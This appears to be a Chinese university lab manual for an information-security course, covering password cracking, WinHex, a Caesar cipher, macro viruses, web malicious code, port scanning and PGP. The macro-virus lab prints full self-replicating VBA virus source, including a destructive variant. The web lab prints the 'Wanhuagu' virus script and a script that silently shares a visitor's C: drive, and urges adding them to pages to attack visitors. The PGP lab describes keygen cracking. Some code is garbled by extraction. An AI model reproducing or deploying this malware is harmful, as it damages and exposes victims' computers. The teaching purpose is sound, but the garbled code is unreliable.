信息安全与应用---实验指导书

信息安全与应用

实验指导书

任课教师：周才学

目录

实验1. office口令破解工具aoxppr的使用

实验2. Winhex编辑软件的使用

实验3. 用C语言编程实现凯撒密码

实验4. 嗅探器Ethereal的使用

实验5. Word宏病毒实验

实验6. Web恶意代码实验

实验7. 端口扫描X-scan的使用

实验8. 加密软件pgp的使用

实验一 office口令破解工具aoxppr的使用

实验目的：了解word口令破解的方法，掌握暴力破解和字典破解的原理，具体破解某个word 文档。

实验要求：某个同学设置word口令，长度分别为4，5，6，采用字母数字混合。

实验步骤：

1．安装aoxppr，点setup，一步步安装完成；

2．运行Aoxppr，点击“帮助”，点击“输入注册码”，打开key.txt文件，输入注册码，OK；3．破解类型选项，选暴力破解，字母数字混合，密码长度最大选6；

4．某人制作一个word文档，对其进行加密；

5．另一人对其进行解密，在Aoxppr中输入待解密文件的文件名，点击开始解密。如果该文档没有密码，软件马上就会报告此文档不用解密，4位密码很快就可破译，6位的密码破解时间要长一点，运行过程中，随时可以终止运行。

6．系统破解后，会显示出Office文档的密码。

7．破解过程中可以使用掩码，如密码有8位，以x开始，以99结束，可以设置掩码为"x?????99"

8．用该密码去解密OFFICE文档。

实验二.winhex编辑软件的使用

实验目的：1。利用Winhex查看磁盘文件的十六进制编码；

2。利用Winhex实现文件的简单数学

3．加密变换；利用Winhex恢复被误删除的文件。

实验要求：1人1组，独立完成

实验步骤：

1．在D盘根目录中建立X-ways文件夹，再在这个文件夹中建立case、images、temp等3个文件夹，分别用于保存案例文件、镜像文件和临时文件。运行

winhex，进入系统。

2．根据提示，必须选择“Computer forensics interface（计算机取证）”。

3．完成后进入软件操作界面。

4．在D盘的X-ways中建立一个文本文件x-ways.txt，内容为“练习使用winhex 软件”。在winhex界面中，单击“file”----“open”。

5．将第1，2两个字节改为“D1 A7”，“练习”变为“学习”。

6．保持打开的x-ways.txt文件，单击“Edit”----“modify data”，选择“xor”并输入75，即完成了该文件的加密变换。

7．在winhex中关闭x-ways.txt文件，进入“资源管理器”将该文件删除并清空回收站，此时windows系统无法恢复该文件。下面利用winhex来恢复该文件。

8．单击“case data”窗口中的“file”----“create new case”建立新的分析案例，然后单击“file”----“add medium”添加新的存储介质，此处为D盘。添加后

进入“x-ways”文件夹，可发现被删除的文件已在其中。右击该文件，选择

“Recover/copy”，指定目录文件夹后即可恢复该文件。

实验三. 用C语言编程实现凯撒密码

一、实验目的：

通过编程实现替代密码算法和置换密码算法，加深对古典密码体制的了解，为深入学习

密码学奠定基础。

二、实验内容：

实验参考步骤：

1．新建工程。工程类型选“win32 console application”，输入工程名称，选取工程存储位置，“下一步”，“一个空工程”，完成。

2．选取“FileView”，点“Source Files”，按鼠标右键，选取“添加文件到目录”，输入文件名，点“确定”。

3．开始编程。

4．编译。在“工程“，”设置”，“链接”里，把ws2_32.lib 加入。

5．编译生成可执行文件。

6．运行进行测试，输入数据串和密钥，加密，然后解密。记录下明文和密文。

myCrySubstitude.cpp内容如下：

#include "myCrySubstitude.h"

int Encrypt(unsigned char* str,unsigned char* code)

{

if(str==NULL || code==NULL)

return CRYPT_ERROR;

int str_length = 0;

int i = 0;

while(str[i]!='\0')

{

str_length++;

i++;

}

if(str_length>1024)

{

printf("明文的长度超过1024位");

return CRYPT_ERROR;

}

else if(code[1] != '\0')

{

printf("密钥输入字符不是一位");

return CRYPT_ERROR;

}

if(ToLowerCase(str) != 0)

{

printf("明文字符串转化小写字符出错");

return CRYPT_ERROR;

}

if(ToLowerCase(code) != 0)

{

printf("密钥字符串转化小写字符出错");

return CRYPT_ERROR;

}

int key = code[0]-97;

for(i=0;i

{

str[i]+=key;

if(str[i]>122)

str[i]-=26;

}

return CRYPT_OK;

}

int Decrypt(unsigned char* str,unsigned char* code) {

if(str==NULL || code==NULL)

return DECRYPT_ERROR;

int str_length = 0;

int i = 0;

while(str[i]!='\0')

{

str_length++;

i++;

}

if(str_length>1024)

{

printf("明文的长度超过1024位");

return CRYPT_ERROR;

}

else if(code[1] != '\0')

{

printf("密钥输入字符不是一位");

return CRYPT_ERROR;

}

if(ToLowerCase(str) != 0)

{

printf("明文字符串转化小写字符出错");

return CRYPT_ERROR;

}

if(ToLowerCase(code) != 0)

{

printf("密钥字符串转化小写字符出错");

return CRYPT_ERROR;

}

int key = code[0]-97;

for(i=0;i

{

str[i]-=key;

if(str[i]<97)

str[i]+=26;

}

return CRYPT_OK;

}

int ToLowerCase(unsigned char* str)

{

if(str == NULL)

return 0;

int i = 0;

for(i=0;str[i]!='\0';i++)

{

if(str[i]>64&&str[i]<91)

str[i]+=32;

else if(str[i]>96&&str[i]<123);

else

{

printf("输入了非英文字符");

return 1;

}

}

return 0;

}

实验四.嗅探器Ethereal的使用

参看教材P300页。

实验五.Word宏病毒实验

实验目的：

1.演示宏的编写；2、说明宏的原理及其安全漏洞和缺陷；3、理解宏病毒的作用机制

实验平台：

Windows系列操作系统，Word 2003应用程序

实验步骤：

1．软件设置：关闭杀毒软件；打开Word 2003，在工具→宏→安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visual basic 项目的访问。

注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。

２．自我复制功能演示。

打开一个word文档，然后按Alt+F11调用宏编写窗口（工具→宏→Visual Basic→宏编辑器）,在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码（参见源代码macro_1.txt），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。

代码如下：

'Micro-Virus

Sub Document_Open()

On Error Resume Next

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'Micro-V irus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

End Sub

代码解释

以上代码的基本执行流程如下：

1)进行必要的自我保护

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将工具菜单中的宏选项屏蔽，也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏，以免显示宏的运行状态，并且修改公用模板时自动保存，不给用户提示。

2)得到当前文档的代码对象和公用模板的代码对象

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

3)检查模板是否已经感染病毒，如果没有，则复制宏病毒代码到模板，并且修改函数名。With Host

If .Lines(1.1) <> "'Micro-V irus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

4)执行恶意代码

３．具有一定破坏性的宏

我们可以对上例中的恶意代码稍加修改，使其具有一定的破坏性（这里以著名宏病毒“台湾一号”的恶意代码部分为基础，为使其在word2003版本中运行，且降低破坏性，对源代码作适当修改，参见源代码macro_2.txt）。

完整代码如下：

'moonlight

Dim nm(4)

Sub Document_Open()

'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'moonlight" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 3, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 3, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

Count = 0

If Day(Now()) = 1 Then

try:

On Error GoTo try

con = 1

tog$ = ""

i = 0

While test = -1

For i = 0 To 4

nm(i) = Int(Rnd() * 10)

con = con * nm(i)

If i = 4 Then

tog$ = tog$ + Str$(nm(4)) + "=?"

GoTo beg

End If

tog$ = tog$ + Str$(nm(i)) + "*"

Next i

beg:

Beep

ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错，只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro V irus")

If R Trim$(LTrim$(ans$)) = L Trim$(Str$(con)) Then

Documents.Add

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Beep

With Selection.Font

.Name = "细明体"

.Size = 16

.Bold = 1

.Underline = 1

End With

Selection.InsertAfter Text:="何谓宏病毒"

Selection.InsertParagraphAfter

Selection.InsertAfter Text:="答案："

Selection.Font.Italic = 1

Selection.InsertAfter Text:="我就是......"

Selection.InsertParagraphAfter

Selection.InsertParagraphAfter

Selection.Font.Italic = 0

Beep

Selection.InsertAfter Text:="如何预防宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案："

Selection.Font.Italic = 1

Selection.InsertAfter Text:="不要看我......"

GoTo out

Else

Count = Count + 1

For j = 1 To 20

Beep

Documents.Add

Next j

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Selection.InsertAfter Text:="宏病毒"

If Count = 2 Then GoTo out

GoTo try

End If

Wend

End If

out:

End Sub

该病毒的效果如下：当打开被感染的word文档时，首先进行自我复制，感染word模板，然后检查日期，看是否是1日（即在每月的1日会发作），然后跳出一个对话框，要求用户进行一次心算游戏，这里只用四个小于10的数相乘，如果作者的计算正确，那么就会新建一个文档，跳出如下字幕：

何谓宏病毒

答案：我就是......

如何预防宏病毒

答案：不要看我......

如果计算错误，新建20个写有“宏病毒”字样的word文档，然后再一次进行心算游戏，总共进行3次，然后跳出程序。关闭文档的时候也会执行同样的询问。

４．清除宏病毒

对每一个受感染的word文档进行如下操作：

打开受感染的word文档，进入宏编辑环境（Alt+F11），打开Normal→Microsoft Word 对象→This Document，清除其中的病毒代码（只要删除所有内容即可）。

然后打开Project→Microsoft Word→This Document，清除其中的病毒代码。

实际上，模板的病毒代码只要在处理最后一个受感染文件时清除即可，然而清除模板病毒后，如果重新打开其他已感染文件，模板将再次被感染，因此为了保证病毒被清除，可以查看每一个受感染文档的模板，如果存在病毒代码，都进行一次清除。

实验六. Web恶意代码实验

利用网页进行攻击是非常难以防范的，目前尚没有什么特别有效的方法可以防范，如果有，也要以牺牲很多功能作为代价。

所谓恶意网页主要是利用软件或系统操作平台等的安全漏洞，通过执行嵌入在网页H T M L超文本标记语言内的Java Applet小应用程序，JavaScript脚本语言程序，ActiveX控件部件等可自动执行的代码程序，强行修改用户操作系统的注册表设置及系统实用配置程序，或非法控制系统资源盗取用户文件，或恶意删除硬盘文件、格式化硬盘为行为目标的非法恶意程序。

这种非法恶意程序能够得以自动执行，完全在于它不受用户的控制。一旦用户浏览含有该类程序的网页，就会在不知不觉的情况下立马中招，给系统带来不同程度的破坏。

实验目的:

掌握网页恶意代码基本原理。

实验平台：

Windows XP操作系统，IE（Internet Explorer）浏览器

实验步骤:

1．新建Web页面，输入程序源码。

程序源码如下：

用IE打开该文件，观察实验结果，可以看到IE不断的打开163网页。

如果IE阻止了显示内容，右键点击出现的提示信息，选择“允许阻止的内容”，就可以看到实验现象。

2．新建Web页面，编辑程序源码。

程序源码如下：

用IE打开该文件，IE显示的地方出现黑白颜色不断的闪动。

如果IE阻止了显示内容，右键点击出现的提示信息，选择“允许阻止的内容”，就可以看到实验现象。

3．很多人都知道万花谷病毒的厉害，由于其危害之大，很多网站都公布了其源代码。即使不会编程，也能直接拷贝来用。

以下就是这个病毒的代码：

document.write("");

function AddFavLnk(loc,DispName,SiteURL)·201·

{

var Shor=Shl.CreateShortcut(loc+"\\"+DispName+".URL");

Shor.TargetPath=SiteURL;

Shor.Save();

}

function f(){

try

{

ActiveX initialization a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl=a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO=a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net=a1.GetObject();

Try

{

if(documents.cookies.indexOf("Chg")==-1)

{

//Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// https://www.360docs.net/doc/2c7868677.html,/");

var expdate=new Date((new Date()).getTime()+(1));

documents.cookies="Chg=general;

expires="+expdate.toGMTString()+";

path=/;

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer\\ NoRun",

01,"REG_BINARY");//消除“运行”按钮

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer\\ NoClose",

01,"REG_BINARY");//消除“关闭”按钮

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer\\ NoLogOff",

01,"REG_BINARY");//消除“注销”按钮

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer\\ NoDrives",

"63000000","REG_DWORD");//隐藏盘符

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\System\\Di sableRegis-

tryTools","00000001","REG_DWORD");//禁止注册表

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\WinOldAp

p\\Disablecmd",

"00000001","REG_DWORD");//原DOS程序不能用

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\WinOldAp p\\NoRealM-

ode","00000001","REG_DWORD");//设置不能进入DOS方式

Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentV ersion\\Winlogon\\LegalNo ticeCapt-

ion","欢迎来到万花谷！你中了※万花奇毒※.请与OICQ:4040465联系!");//设置开机提示标题·202·

Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentV ersion\\Winlogon\\LegalNo ticeText","

欢迎来到万花谷！你中了※万花奇毒※.请与OICQ:4040465联系!");//设置开机提示内容Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","欢迎来到万

花谷!你中了※万花奇毒※.请与OICQ:4040465联系!");//设置IE标题

Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","欢迎来到万

花谷!你中了※万花奇毒※.请与OICQ:4040465联系!");//设置IE标题

var expdate=new Date((new Date()).getTime()+(1));

documents.cookies="Chg=general;

expires="+expdate.toGMTString()+";

path=/;

}

}

catch{}

}

catch{}

}

function init()

{

setTimeout("f()",1000);

}

init();

将以上这段J A V A脚本代码加入到你自己网页的H T M L源代码中，就可以对浏览者实施攻击。当用户点击你的网页时，则会自动执行内嵌在网页内部的上面这段J A V A脚本。

当然如果你对注册表很熟的话，也可以加入其他修改注册表的项，而别人以为只是中了万花谷病毒，用一些专杀工具来查杀，没有想到你还有另外隐藏的一手。

其实，该病毒的感染主要是通过修改注册表来实现的，以下为其设置或修改的注册表项：

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\Explorer\No Run”为0 1（取消开始菜单上的“运行”项）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\Explorer\No Close”为0 1（取消开始菜单上的“关闭”项）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\Explorer\No LogOff”为01（取消开始菜单上的“注销”项）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\Explorer\No Drives”为63000000（隐藏盘符，你也可以将此项改00000004只隐藏C盘）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\System\Disa bleRegistryTools”为00000001（使注册表工具不可用）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\WinOldApp\ Disablecmd”为00000000（原DOS程序不可用）

●设置“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV ersion\Policies\WinOldApp\ NoRealMode”为00000000（不能进入DOS方式）

●设置“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current V ersion\Win

logon\LegalNoticeCaption”为“欢迎来到万花谷！你中了※万花奇毒※.请与OICQ:4040465联系!”（设置登录窗口的标题为“欢迎来到万花谷！你中了※万花奇毒※.请与OICQ:4040465联系!”）

●设置“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ersion\Winlog on\LegalNoticeText”为“欢迎来到万花谷！你中了※万花奇毒※.请与OICQ:4040465联系!”（设置登录窗口的内容提示为“欢迎来到万花谷!你中了※万花奇毒※.请与OICQ:4040465联系!”）

●设置“HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Main\Window Title”为“欢迎来到万花谷!你中了※万花奇毒※.请与OICQ:4040465联系!”（设置IE窗口的标题为“欢迎来到万花谷!你中了※万花奇毒※.请与OICQ:4040465联系!”）

●修改“HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\Start Page”为“https://www.360docs.net/doc/2c7868677.html,/”（设置IE的首页为https://www.360docs.net/doc/2c7868677.html,）

该病毒不具备自动传染的特性，所以没有点击这种网页的用户不会受到袭击，但是万一某天你自己无意中点击了这种网页怎么办呢？可以采用以下的方法来解决。

①用光盘启动，在DOS环境下找到C:\Windows\Sysbckup目录（此目录是隐藏属性，用Attrib命令去掉其隐藏属性）找到rb004.cab并拷贝出来，在另一台机器上用ZIP解压rb004.cab得到四个文件，把这四个文件复制到C:\Windows下覆盖原文件，用安全模式启动电脑，运行M s c o n f i g，然后在“启动”的标签中找到“H A.h t a”把多选框前面的沟去掉（不过，攻击者在使用中可以改动此病毒的源代码，所以如果发现启动里有可疑的项，都可以去掉前面的勾），再重启动计算机就O K了！

②在DOS下用scanreg/restore注册表，然后再删除启动组中的HA.hta即可。

③另外，我们还可以使用金山毒霸专门针对此病毒出的专杀工具，修改被改病毒破坏的注册表。

对付“万花谷”之类的脚本病毒只要采取切实可行的防范措施，就能将它们拒之门外，因为这些病毒都是通过在网页中使用恶意脚本程序来运行的，我们只要禁止执行这些脚本就可以达到防范于未然的目的。

在控制面板中单击“Internet”，打开“Internet属性”对话框，单击“安全”页面，然后按“自定义级别”按钮进入“安全设置”对话框，将“脚本”选项中的“J a v a小程序脚本”和“活动脚本”都设为“禁用”。这样，以后再上网浏览时就不用担心脚本类病毒了，不过

正常网页中所有通过脚本实现的网页特殊效果也全部被禁用了。

“万花谷”程序代码由作者提供，没有作任何修改，大家可以根据自己对注册表的了解自行修改。本段代码仅供研究、学习使用，不得将本段代码用于非法场合，否则后果自负。

4．通过在网页H T M L源代码加入J a v a S c r i p t脚本，同样可以实现将浏览者的硬盘设置为共享的目的。

script language=JavaScript

document.write("");

function f()

{

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();

Shl=a1.GetObject();

Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentV ersion\\Network

\\LanMan\\RWC$\\Flags",302,"REG_DWORD");

Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentV ersion\\Network\\LanMan\\ RWC$\\Type",0,"REG_DWORD");

Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentV ersion\\Network

\\LanMan\\RWC$\\Path","C:\\");

}

function init()

{

setTimeout("f()",1000);

}

init();

/script

以“S h l.R e g W r i t e”开头的这几句代码的作用就是写入浏览者的注册表，在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ersion\Network\LanMan下面添加键值“RWC$”，在“RWC$”下又分别建立键值“Flags”、“Type”、“Path”，如此就将C盘设为共享了，共享名为RWC$。而且计算机用户在网络属性中还看不到硬盘已经被共享！如果把"Flags"=dword:00000302改成"Flags"=dword:00000402，计算机用户将会看到硬

盘被共享。

将上面这段代码加入到你自己网页的H T M L源代码中，上传到网上，当浏览者访问你的网页时，如果I E选项中允许执行代码中的脚本文件（默认），网页中的脚本文件就会对浏览者的注册表进行修改，使其硬盘隐藏共享，其危害较之木马更大。

一旦浏览者中招，我们完全可以把对方的硬盘当做一个逻辑硬盘，可以在对方电脑中随意拷贝文件，删除文件，给文件改名，更有甚者悄悄植入木马，上网账号、Q Q密码、信件……总之，对方的一切都在掌握之下了！

解决办法如下：

把

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ersion\Network\LanMan下面的“RWC$”键值删掉。也可以把Windows\system\下面的Vserver.vxd（Microsoft网络上的文件与打印机共享，虚拟设备驱动程序）删掉，再把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\下的Vserver键值删掉，永绝这类“木马”的后路。

实验七.端口扫描X-scan的使用

实验目的：熟悉黑客攻击的步骤，端口扫描的原理，学会端口扫描软件的使用。

实验要求：要求扫描出局域网中或互联网中某个站点的相关信息。

实验步骤：

该软件不需安装，直接运行；

1菜单中可以选择“中文”或“英文”；

2、点击“设置”，设置“扫描参数”，包括“检测范围”（指定要检测的IP地址范围，

“NETBIOS

“SNMP相关设置”

（点“全选”），可以输入域名），

“扫描模块”（点“全选”），

相关设置”（点“全选”），保存设置；

3、点“开始扫描”；

4、扫描结束后，查看结果。结果中包括开放了哪些端口，系统有哪些弱口令，有哪些

安全漏洞，主机操作系统类型，最后生成一个Web形式的测试报告，对于漏洞还会给出一个解决方案。

实验八.加密软件pgp的使用

实验目的：熟悉对称加密和非对称加密，数字签名等的原理，学会使用pgp加密邮件。

实验要求：2人一组，一人加密邮件，另一人解密。

实验步骤：

1安装PGP软件（需要重新启动系统）；

2、运行Keygen，输入用户名和单位名，与安装时同名，点“generate”，生成序列

号，点“Patch”，软件激活成功；

3、运行PGPDeskTop；